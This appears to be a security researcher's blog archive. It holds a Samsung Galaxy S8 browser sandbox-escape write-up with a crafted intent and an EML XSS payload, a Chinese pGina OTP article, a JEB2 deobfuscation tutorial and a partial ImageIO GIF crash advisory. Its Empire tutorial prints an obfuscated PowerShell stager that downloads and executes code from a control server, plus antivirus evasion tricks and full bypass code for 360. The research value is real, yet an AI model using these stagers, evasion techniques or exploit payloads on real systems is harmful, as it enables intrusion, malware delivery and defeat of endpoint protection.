Using the first V8 bug (CVE-2018-10496, credit to Gengming Liu and Zhen Feng of KeenLab), we have get initial code execution in the Samsung Internet Browser isolated process. Isolated process is heavily restricted in android, both in SElinux context and traditional DAC permission.

sbrowser processes

Doing a quick check on the SELinux profile reveals Samsung doing a good job. No additional service attack surface revealed. The sandbox process is still limited to access very few services and IPCs, e.g. starting activity is prohibited.

SELinux access vectors

For those who are interested in the Chrome browser sandbox architecture, you can refer to my CanSecWest presentation. Given Samsung did not open loophole for us to directly exploit from isolated context, we fall back to the good old ways to attack the browser IPC.

The Samsung Internet Browser has a quite different UI than Chrome but its core is still largely based on Chrome, so as the sandbox architecture. Looking over the past always gives us insight over future, which is quite true for ….

Bug 1: The Tokyo treasure: incomplete fix for CVE-2016-5197

Old readers will remember the good old Chrome IPC bug we used to pwn Pixel, as described here. Looking back into the fix…:

https://chromium.googlesource.com/chromium/src.git/+/abd993bfcdc18d41e5ea0f34312543bd6dae081e%5E%21/#F0

public class ContentViewClient {
 public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
 //...
@@ -144,6 +148,14 @@
         // Perform generic parsing of the URI to turn it into an Intent.
         try {
             intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+            String scheme = intent.getScheme();
+            if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+                    && !scheme.equals(MAILTO_SCHEME)) {
+                Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+                return;
+            }
+
//...
        try {
            context.startActivity(intent);
        } catch (ActivityNotFoundException ex) {
            Log.w(TAG, "No application can handle %s", intentUrl);
        }
    }

Google tries to fix the vulnerability by adding scheme check, restricting the string IPC accepts so that we cannot use this IPC to start arbitrary explicit activity anymore.

However, a crucial part is missing: intent resolution does not depend solely on scheme part. As long as the incoming argument contains component keyword, which will be parsed first, we can still use this IPC to send an explicit intent – starting arbitrary exported activity. So trivially adding "scheme=geo" will bypass this fix. Samsung Internet Browser shares the same source so it’s also affected.

Jumping from renderer sandbox

Of course due to the limitation of parseUri, we can only craft an Intent with string arguments (no fancy parcelable possible). Now we need to find a privileged application with activity exported and accepts and happily opens malicious URL or execute malicious Javascript in it’s webview.[1] As long as we pwned the webview, we pwned the application.

This bug is also tracked by Google under b/804969. Since in an unrelated refactor Chrome removed this IPC completely, this issue does not affect newest Chrome but still affect all downstream browsers which shares this code. Samsung does not assign a particular CVE for this issue but assigned the whole chain CVE-2018-9140/SVE-2017-10747.

Bug 2: The Email loves EML with a … XSS

Searching through the privileged applications we find Samsung Email.

Email activity

The exported com.samsung.android.email.ui.messageview.MessageFileView activity accepts eml file. What’s an eml file? EML is a dump format of email and seems Samsung Email is kindly enough to provide rich-text support for EML files – by rendering it in a Webview.

Of course it immediately pops up questions for a security researcher, XSS, script injection, etc. In our case, it means code execution. In CVE-2015-7893 Natalie had pointed out a similar issue so checks were added, but far from enough. It still does not have sufficient input validation in the EML file except simple filtering for <script>. We can just inject document.onload=blablaba, and construct script element on the fly, to bypass the fix, and get arbitrary script execution.

This issue is assigned CVE-2018-10497.

Bug 3: … And file:/// crossdomain

Although we have had an exploit theory in step 2, bundling lots of javascript exploit in the EML file itself creates trouble in heap fengshui and ruins our success rate. Luckily the webview configuration in Email allows us to access file:/// from file domain (i.e. setAllowFileAccessFromFileUrls), which enables us to shift the exploit to a single js file and minimizing the EML file, largely improving stability. Bonus point: this vulnerability combined with Bug 2 alone already allows us to read Email’s private file.

This issue is assigned CVE-2018-10498.

So now the EML file becomes like:

MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79

--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1

<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--<br>Bill Jncjkqfuck<br>
</body>
--bcaec54eecc63acce604a3050f77--

By exploiting our V8 js bug bundled in the malicious EML again, we can get code execution in Email application, officially jumping out of sandbox. What is nice for us is that the Email application holds lots of precious application like capable of accessing photos, contacts, etc, which already meets Pwn2Own standard.

Given this attack surface, our sandbox-escaping exploit chain now contains the following steps:

  1. Force the browser to download the EML file with exploit code bundled. The download path is predictable like /sdcard/Download/test.eml and /sdcard/Download/exp.js
  2. In the compromised renderer process, craft an IPC with content intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end , calling up and exploiting the email application.
  3. We now owns the Email process privilege

Bug 4: Go beyond the Galaxy (Apps) … but blocked?

To achieve the ultimate goal of installing arbitrary application, our next step is trying to pwn a process with INSTALL_PACKAGES privilege. An obvious target is the Galaxy Apps, which is the app store for Samsung phones.

Digging into the APK file we find a promising Activity named com.samsung.android.sdk.ppmt.PpmtPopupActivity, which directly accepts and opens URL in it’s webview from intent. However this obvious target is of course protected.

…protected from other process but not protected from inside.

This issue is assigned CVE-2018-10500.

Bug 5: Push SDK pushes vulnerability

On auditing the Samsung platform apps, the same component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceiver and com.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver appears many times. Turns out it’s an SDK responsible for campaign message pushing and processing. In PpmtReceiver ‘s source code, we find the following interesting snippets:

//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path 

    private void a(Context arg5, Intent arg6, String arg7) {
        if("card_click".equals(arg7)) {
            CardActionLauncher.onCardClick(arg5, arg6);
            return;
        }

//in onCardClick, it reaches CardActionLauncher, 

    private static boolean a(Context arg2, String arg3, CardAction arg4) {
        boolean v0;
        if("app".equals(arg4.mType)) {
            v0 = CardActionLauncher.b(arg2, arg3, arg4);
        }

//If the CardAction.mType is "intent", we finally reaches the following snippet:

private static boolean d(Context arg5, String arg6, CardAction arg7) {
        boolean v0 = false;
        if(TextUtils.isEmpty(arg7.mPackageName)) {
            Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
            return v0;
        }

        Intent v1 = new Intent();
        v1.setPackage(arg7.mPackageName);
        if(!TextUtils.isEmpty(arg7.mData)) {
            v1.setData(Uri.parse(arg7.mData));
            v1.setAction("android.intent.action.VIEW");
        }

        if(!TextUtils.isEmpty(arg7.mAction)) {
            v1.setAction(arg7.mAction);
        }

        if(!TextUtils.isEmpty(arg7.mClassName)) {
            v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
        }

        if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
            v1.putExtras(arg7.mExtra);
        }

        CardActionLauncher.a(v1, arg6);
        try {
            switch(arg7.mComponent) {
                case 1: {
                    int v2 = 268435456;
        try {
            v1.setFlags(v2);
            arg5.startActivity(v1);
            goto label_78;
    //....

We can see it’s possible to start an activity with arbitrary arguments/components fully controlled by us, and Galaxy Apps is one of the users of Ppmt push sdk, exposing the PpmtReceiver. We use this vulnerability to indirectly start PpmtPopupActivity, PpmtPopupActivity will happily load any URL we passed in. Reusing the JS exploit, we again get a shell in Samsung Appstore, which has INSTALL_PACKAGE permission, allowing us to install any rogue application. An interesting point is that the activity does not have any explicit UI pointing to it so I guess it’s some common SDK that forgot to be removed.

This issue is assigned CVE-2018-10499.

Chaining it altogether

Combining it all together we have the following figure:

Whole escape chain

So this is how we pwned the Galaxy S8. Demo video has been posted at https://www.youtube.com/watch?v=UXLWk2Ya_6Q&feature=youtu.be at that time. All issues have been fixed by vendor.

Due to the nature of this bug chain, we named it "Galaxy Leapfrogging" as each step of the chain is to find a new app to jump & pwn to gain additional privilege. All vulnerabilities have been tested on the newest Galaxy S8 at that time, samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.

We would like to thank Samsung Mobile Security for their work on fixing these vulnerabilities, and I’d like to thank all former colleagues at KeenLab for our work together and the good old days.

Next

Following posts will be about other various security bugs I found on those Android vendors, stay tuned! My twitter: https://twitter.com/flanker_hqd

Note: Current status of isolated Webview

[1] Beginning with Android O, all apps by default runs their system webview in isolated context, which greatly stops "Leapfrogging". However, some apps are still running their own webview core like X5 and tbs in the same context, which still poses great risks and remains an attack surface

现代办公网安全体系建设系列之一:统一化新型认证体系探索

无论是否情愿,并不是每家公司都能像Google一样在办公体系中完全移除了域控的(大部分)存在感,域仍然是安全人员觉得微妙的存在。 一方面各种域策略、账户的可视化配置方便了大部分企业的IT桌面支持人员在初创阶段做无脑配置,然而另一方面,域控天生与新时代ZeroTrust理念是无法完美契合的。最大的槽点不在于认证源仅仅只有固定密码可选(据传新的Windows Server终于将开始引入OTP,以及Azure AD在某种程度上是支持的),此外其他域提供的各种管理功能在现代互联网企业Linux+开源组件定制化的大技术栈下同样显得格格不入。

但在ZeroTrust理念指导下,我们仍然可以对Windows认证体系进行加固和改造,极大提高其安全性。本系列文章将介绍可能用到的各类工具以及微软自身提供的mitigations,随后讨论如何基于这些手段和理念构建纵深防御。
在上面提到Windows密码认证所固有的缺陷后,我们自然会提出如下的问题:如何改造固有的静态域认证体系?在这个理念指导下,可以采取什么样的手段?

一种显而易见的体系化改造是直接通过Windows Credential Provider提供的接入能力,改造认证源,取代Windows原有的认证能力,而本文将介绍的pgina就是其中的一个成熟的开源方案,pgina是一个开源的Windows Credential Provider认证框架,通过各种C#形式的插件,我们可以定制Windows的认证流程,取代传统的密码认证流程,与统一认证源完成打通,在某种程度上实现大一统SSO的梦想。

pgina架构介绍

pgina最早由David Wolff等开发并开源,借助Windows的Credential Provider体系,实现了ICrendtialProvider接口,实现了认证流程的定制。mutonufoai维护了一个fork版本,是目前比较活跃的分支。http://mutonufoai.github.io/pgina/

简单来说,在安装了pgina之后,我们可以在认证流中插入自定义的环节,Pgina原生提供了多种开箱即用的插件,通过这些插件与外部认证源打通。例如,我们可以通过自定义的Radius认证服务器或者通过http auth插件,来实现对OTP登录的支持,甚至更细粒度的控制。

pgina配置

我们以pgina接入radius认证后端为例,展示pgina的用法。需要注意的是pgina并不是一个中心的域控插件,需要安装部署到所有具体的目标机器上。

pgina认证流程区分为Authentication – Authorization – Gateway三个阶段。其中,Authentication阶段用于证明该用户提供的认证凭据是否正确,而Authorization阶段则决定该用户在凭据正确的情况下,其是否可以登录(例如只有某一个特定组的用户可以登录),Gateway阶段则更类似于认证通过之后的回调。例如在众多插件中,LocalMachine代表了该机器上的native认证,如果其他插件认证通过的用户在本机上不存在,则LocalMachine插件默认会在Gateway阶段创建对应的用户。当然,这个行为都是可配置的。

通过pGina插件在Windows认证中支持OTP认证

在有了这些基础知识之后,我们就可以通过插件连接到自定义的radius server,来对Windows开启OTP认证支持。受到Windows UI限制,用户可将OTP追加在其原始密码之前或之后,整体的流程如下图所示。

根据以上设计,我们甚至可以在某种程度上,摒弃域控体系的存在,而把认证源完全转移到统一的认证体系中。通过插件中所携带的信息,甚至可以做到对特定机器限定特定权限登录,以及检测到用户存在风险时自动拒绝登录等等。

根据实际测试经验和遇到的问题,有如下建议可供参考:

  1. 内置插件可用于快速测试功能,但在可用性上没有太多考虑,radius插件本身在高频使用中存在一些问题,建议根据其架构自行实现插件,通过自定义的认证协议与远端认证接口进行联调和实现
  2. 开启了插件认证的机器在被远程桌面时(如果允许远程桌面),远程桌面客户端侧需要关闭默认的网络级别验证,因为Network Level Authentication并不支持自定义的credential provider。关闭NLA并不会带来认证方式上的安全问题(例如hash被抓取之类的)
  3. pgina原版具有调试功能,但调试功能较为难用,建议通过log形式调试,pgina.fork并不支持调试。插件主要为C#语言编写,需要对C#有一定的了解。

此外,一个显而易见的问题是,原账户的密码应当如何处理?LocalMachine插件当然支持对原账户的密码继续生效,但这会造成显而易见的短板。一种安全的做法是通过终端能力下发定制化脚本,对原有的账户密码进行定期全随机化,包括本地Administrator用户、域控体系下的域用户等。当然,出于灾备的考虑,对部分账户还需要通过一些方式保留原始认证能力供网络、存储等意外因素导致自定义认证服务不可用时排障使用,具体细节在此不在赘述。

总结

以上介绍了pgina认证体系及其插件化应用,同时以将OTP引入Windows认证为例,给出了一个案例。基于插件化的能力,我们可以摒弃域控认证体系部分固有的弱点,引入TOTP二次认证体系,统一认证后端。API接口的能力允许我们对认证权限做更统一的细粒度规划,而不是拘泥于Windows域所固有的体系,降低维护成本,提高安全性。

注:该文已授权首发于 跳跳糖:
https://tttang.com/archive/1282/

Testing Empire as post-exploitation framework in domain environment

Testing Empire as post-exploitation framework in domain environment

Due to recent research on Red-Blue Team Operations, I became interested in various post-exploitation framework. Since the widely adoption of powershell which is shipped by default in Windows 7 and Windows 10, it has become a popular stager for pen-testers and red team. The following article will describe one of the popular framework called Empire (https://github.com/EmpireProject/Empire) with 3000+ stars, and how to use it on a typical workstation with AV installed.

Installation

The installation of Empire is quite simple. You can choose the docker approach, or install it on a host instance.

For installation steps on a host instance, follow the commands as below:

git clone https://github.com/EmpireProject/Empire cd Empire && sudo ./setup/install.sh

In a Debian-flavor environment the installation usually contains apt-update and adding some apt-source. So be patient.

The following steps are all based on Ubuntu 16.04.1. Some windows compilation are done on a Windows Server 2016 with Visual Stuido

Running

Go to the install directory of empire and type sudo ./empire to get started.

Alt

Listeners

The currently supported listeners in Empire are

(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector 
http http_foreign http_mapi onedrive 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > ?

Listener Commands
=================
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.

(Empire: listeners/http) > info

Name: HTTP[S]
Category: client_server

Authors:
@harmj0y

Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.16.3.77:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7 Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php

To maintain stealth against various network traffic monitoring, it is recommended to use http based listeners as it will only appear as normal http traffic.

The required options for http-base listeners are Host, Name and Port

(Empire: listeners/http) > set Name http1
(Empire: listeners/http) > set Port 81
(Empire: listeners/http) > execute
[*] Starting listener 'http1'
[+] Listener successfully started!

For example, a http listener’s traffic may looks like below:


(Empire) > listeners

[*] Active listeners:

Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://172.16.x.x:80 5/0.0

Stagers

After we created a listener, we need something to wrap the connection, named stager. Empire provides different stagers for different platform.

The simplest stager is a direct powershell command on Windows:

(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBlAFIAUwBpAG8ATgAuAE0AYQBqAG8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAcgBlAEYAXQAuAEEAcwBTAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlA(omitted)

Which is the core of all other payloads. You can directly paste it in a command prompt to test it out if you’re curious. On other platforms, similar logic is implemented with Python.

(Empire: listeners) > usestager 
multi/bash osx/dylib windows/backdoorLnkMacro windows/launcher_sct
multi/launcher osx/jar windows/bunny windows/launcher_vbs
multi/macro osx/launcher windows/csharp_exe windows/launcher_xml
multi/pyinstaller osx/macho windows/dll windows/macro
multi/war osx/macro windows/ducky windows/macroless_msword
osx/applescript osx/pkg windows/hta windows/shellcode
osx/application osx/safari_launcher windows/launcher_bat windows/teensy
osx/ducky osx/teensy windows/launcher_lnk 

Empire currently supports stagers listed above. You can test different windows stagers. When you choose a stager, use options to fill in the required attribute. Example goes below:

(Empire: listeners) > usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller) > options

Name: pyInstaller Launcher

Description:
Generates an ELF binary payload launcher for
Empire using pyInstaller.

Options:

Name Required Value Description
---- -------- ------- -----------
Language True python Language of the stager to generate.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Base64 True False Switch. Base64 encode the output.
Defaults to False.
Listener True Listener to generate stager for.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
BinaryFile True /tmp/empire File to output launcher to.

(Empire: stager/multi/pyinstaller) > set Listener http1
(Empire: stager/multi/pyinstaller) > execute

Sample payload analysis

Let’s now have a brief view on the launcher metasploit script Empire generates.

The first IF script block is a trick to disable powershell logging to bypass Windows Defenders analysis, which is quite popular abroad. I will not elaborate on this here and you can refer to citation documents. Windows defender employs a per-statement detection approach, while some domestic AVs will step further to block powershell directly if certain keywords are found.

[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;
$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; 
$WC.HeAdErS.Add('User-Agent',$u); 
$WC.PRoxY=[SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;
$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;
$Script:Proxy = $wc.Proxy;
$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');
$R={
$D,$K=$ArgS;
$S=0..255; 
0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{
$I=($I+1)%256; 
$H=($H+$S[$I])%256; 
$S[$I],$S[$H]=$S[$H],$S[$I]; 
$_-bXoR$S[($S[$I]+$S[$H])%256]
} };
$ser='http://172.16.x.x:80';$t='/news.php';$Wc.HEaDERs.ADd('Cookie','session=4L4ZezFDPx');

$dAta=$WC.DowNlOaDDaATa($sEr+$T);$IV=$dATA[0..3]; 
$DATA=$data[4..$DAtA.LeNgTh];
-joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

The followed block is the functional block. First, the script tries to establish a HTTP connection to control server. An IV is retrieved from response data (first four bytes). A hardcoded key will later be used to decrypt the function body. Notice the block defines a variable $R which kinda like lambda function. At the last line, $data and $IV+$K is passed into the lambda acting as $D, $K . The decryption result char array is joined and passed to IEX , i.e. Invoke-Expression

Sample Modules

Empire comes with quite some useful modules, in which bounded mimikatz module can be used to extract password and hash tokens, and privilege escalation modules can be used to elevate privilege to local admin or even domain admin.

AV bypass

Qihoo 360

When you directly paste the payload into cmd, it easily get blocked by Qihxx, indicating "powershell.exe is trying to execute". Besides process monitoring, I believe 360 also use script keyword detection to reduce false positives. However, as powershell is a very flexible language, it’s not easy to filter all malicious requests.

By binary search we deduced the keywords are

  • -enc command line in powershell arguments. E.g, powershell -enc aaa will be blocked by 360.
  • downloadData in powershell script will be detected and blocked by 360.
  • A statement is not permitted to have two or more plus signs. E.g. $a+$b;$b+$c will be blocked by 360.

All these methods have some ways to bypass.

  • For the first condition requirement, you can just simple drop the enc command argument
  • For the second requirement, note that we can use string as method node in powershell. I.e. $c="downl"+"oadData";$a.$c.invoke($bla)
  • For the third requirement, we can simply use $a-(-$b);$b-(-$c)

Appendix

Full powershell code to bypass 360

"[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko';$WC.HeAdErS.Add('User-Agent',$u);$WC.PRoxY= [SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;$Script:Proxy = $wc.Proxy;$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');$R= {$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J-(-$S[$_])- (-$K[$_%$K.CoUnt]))%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H= ($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_- bXoR$S[($S[$I]+$S[$H])%256]}};$ser='http://172.16.3.77:80';$t='/news.php';$Wc.HEaDERs.AD joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

JEB2插件教程之一

JEB2发布有段时间了,相比于JEB1来说功能强大了很多,但是API也发生了巨大的变化,不仅是定义上也包括架构上,这给我们移植或者是新编写插件带来了一定不便, 目前也还没看到详细一些的API分析教程。本文以一个具体的应用分析为例,解释如何编写一个JEB2中处理混淆应用的插件,来实现自动识别和重命名。

案例

我们的样例APK是一个采用了比较剑走偏锋混淆的东西,其中绝大部分类名、函数名、field名都被替换成了包含lIi的字符串,如下截图所示:

obfuscated1 obfuscated2

这种给人工分析时追踪函数调用带来了不便,因为这些字符串字母长的都比较像,所以我们需要写一个JEB脚本来自动化重命名这些item。我们的逻辑如下:

  • 对于类:递归寻找它的父类和实现的接口。如果父类和接口包含了有意义的名字:例如SDK类Activity、不能混淆的类名MainActivity,以此为基础进行重命名
  • 对于Field:根据该Field的类型,重命名其名字
  • 对于函数:根据该函数的参数类型,重命名其名字

JEB2的API架构

由于JEB2试图成为像IDA那样的universal disassembler,其架构多了很多包装层。对于APK分析来说,关键的部分关系如下所示:

IProjectUnit -> ICodeUnit -> IJavaSourceUnit

IProjectUnit代表了整个workspace,一般我们只会使用project[0]

>>> engctx.getProjects()
[Project:{/xxx/xxx.apk.jdb2}]

ICodeUnit则代表了一个project中所有的可解析部分,如下面我们提到的,因为JEB2为各种架构都提供了统一包装层,ICodeUnit不再仅仅是dex或者jar,而还会包括了libraries中的各种native Library。

>>> units = RuntimeProjectUtil.findUnitsByType(prj, ICodeUnit, False)
>>> map(lambda x: print(x.name), units)
[u'Bytecode', u'arm64 image', u'arm image', u'arm image', u'mips image', u'x86 image', u'x86_64 image']

其中Bytecode项是对应的dex体. 其对应的ICodeUnit代表了整个dex, 已经提供了基本的类型信息,例如Class, Type, Method, Field, Package 使用者可以通过ICodeUnit.getClass/getMethod/getField获取到对应的ICodeClass/ICodeMethod/ICodeField. 但是这个层级的unit并没有提供class hierchy信息和具体的源代码AST信息,故我们还需要IJavaSourceUnit.

IJavaSourceUnit代表的是执行过反编译之后生成的Java源代码体,提供了更加丰富和细节的Java代码信息供使用. 其对应的AST元素为IJavaClass/IJavaMethod等等. 通过decompiler.decompile(icodeclass.getAddress())获取IJavaSourceUnit, 通过IJavaSourceUnit.getClassElement获取IJavaClass.

需要强调的是, ICodeUnit对应的是整个dex, 而IJavaSourceUnit对应的是单个反编译出的类.

自订操作

在JEB2中,用户操作(自定义操作)被统一包装在ActionContext类之下,类似于transaction的形势.API使用者提交各种ActionContext,并检查返回值是否成功.一个典型的重命名操作如下:

>>> actCntx = ActionContext(self.targetUnit, Actions.RENAME, clz.getItemId(), clz.getAddress())
    actData = ActionRenameData()
    actData.setNewName(newName)
    if codeUnit.prepareExecution(actCntx, actData):
        codeUnit.executeAction(actCntx, actData)

值的注意的是,这里的clz对象均为ICodeUnit调用getClass所查询出的ICodeClass类,而不是IJavaSourceUnit对应的IJavaClass. ActionContext作用的对象也是代表整个dex的ICodeUnit.

除了重命名操作之外, ActionContext还包括了COMMENT, CONVERT, CREATE_PACKAGE, DELETE, MOVE_TO_PACKAGE, QUERY_OVERRIDES, QUERY_TYPE_HIER, QUERY_XREFS, RENAME等操作, 其实就是我们在UI中右键所能执行的操作. 读者可能要问, 像QUEYR_TYPE_HIER这种操作, 通过IJavaSource解析AST不是也可以做? 我认为确实是这样, 这里可能还是为了给不同语言提供一个统一的抽象接口. 当然QUERY_XREFS顾名思义是获取到对应的引用, 这方便我们做一些callgraph的查询.

案例解析

如文章开头所示, 我们的目的是根据被混淆item的基类信息和类型信息/参数信息对其重命名. 主要逻辑如下:

for clz in codeunit.getClasses():
    if isObfuscated(clz):
        name = determineNameFromHierchy(clz) --->1
        rename(clz, name)
for field in codeUnit.getFields():
    if isObfuscated(field):
        name = determineNameByFieldType(field)
        rename(field, name)
for mtd in codeUnit.getMethods():
    if isObfuscated(mtd):
        name = determineNameByArgsType(field)
        rename(field, name)

例如, class IiIiIiIi是继承于class iIiIiIiI, 而iIiIiIiI又继承于Activity/实现了onClickListener, 那么我们就可以使用Activity/onClickListener作为基准重命名两个被混淆的类. 这里的关键在于一个递归获取基类的函数, 如下所示:

'''
clzElement is ICodeClass retrieved from ICodeUnit.getClass()
'''
def tryDetermineGodeName(self, clzElement):
    javaunit = self.decomp.decompile(clzElement.getAddress())
    clzElement = javaunit.getClassElement()
    #now clzElement is a IJavaClass
    if not isFuckingName(clzElement.getName()):
    #this is a non-obfuscated name, just return it
    return clzElement.getName()
    ssupers = clzElement.getImplementedInterfaces()
    supers = []
    supers.extend(ssupers)
    # do not directly append on returned list!
    superSig = clzElement.getSupertype().getSignature()
    supers.append(clzElement.getSupertype())
    for superItem in supers:
    sig = superItem.getSignature()
    if sig == "Ljava/lang/Object;":
        #extend from java/lang/Object gives us zero info
        #so try next
        continue
    if not isFuckingName(sig):
        #return first non-obfuscated name
        return sig
    resolvedType = self.targetUnit.getClass(sig)
    if resolvedType:
        #this is a concret class
        guessedName = self.tryDetermineGoodName(resolvedType)
        if guessedName:
        return guessedName
    else:
        #this is a SDK class
        return sig
    #cannot determine name from its supers, return None
    return None

相对来讲, method和field的重命名就简单了很多, 如附代码所示, 在此不再赘述.

这里还有一个小细节, 因为需要操作的类比较多, 我们将插件定义为后台运行, 这样可以不阻塞UI, 同时获得更好的log效果.

重命名后的效果如下:

deobfuscated 可以看到我们恢复出了较多可读信息. 完整代码: https://gist.github.com/flankerhqd/ca92b42f1f796763e5d1f8cd73247a30

总结

JEB2的API相对于JEB1组织层次更多, 也就没那么直观. 但有了初步了解之后, 也可以很快掌握使用方法. 测试版本: JEB2 2.3.4

Ref:

  1. http://blog.csdn.net/weixin_37556843/article/details/66476295
  2. https://www.pnfsoftware.com/jeb2/apidoc/reference/packages.html
  3. https://groups.google.com/forum/#!topic/jeb-decompiler

CVE-2017-2416 GIF表情引发的远程代码执行

ImageIO
适用于:iPhone 5 及更新机型、iPad 第 4 代及更新机型、iPod touch 第 6 代及更新机型
影响:处理恶意制作的图像可能会导致任意代码执行
说明:内存损坏问题已通过改进输入验证得到解决。
CVE-2017-2416:腾讯科恩实验室的 @flanker_hqd

(For English version see https://blog.flanker017.me/cve-2017-2416-gif-remote-exec/)

Abstract

前段时间偶然发现了一个ImageIO.framework中的图像解析漏洞,通过发送这个恶意图片,可以在任何有图片显示功能的应用中直接触发该漏洞,特别是各种IM应用(例如iMessage, Telegram, Slack, iMessage和国产流行IM,以及邮件应用例如Mail, Outlook, Inbox, Gmail,还有一些想做IM的金融应用例如alipay等),导致应用崩溃。在精心布置的内存布局下还有远程代码执行的可能。

让问题变得更蛋疼的是,很多客户端通常会在启动的时候再去尝试恢复加载之前的记录,也包括图片,这导致每次启动的时候该漏洞都会被触发,自动地成为了一个可持续的漏洞 – -b 例如iMessage和Mail即是如此。通过iMessage给一个没有升级到10.12.4的人发送攻击图片,其iMessage就再也打不开了。

DEMO videos

第一个视频展示了发送一条恶意imessage就导致对方崩溃的过程

然后被攻击的设备就再也打不开imessage了

Crash trace

* thread #1: tid = 0x17570, 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
ImageIO`IIOReadPlugin::IIOReadPlugin:
->  0x7fff9557f1ab <+67>: mov    al, byte ptr [rdi + 0x40]
    0x7fff9557f1ae <+70>: mov    qword ptr [rbx + 0x20], rdi
    0x7fff9557f1b2 <+74>: mov    byte ptr [rbx + 0xc8], al
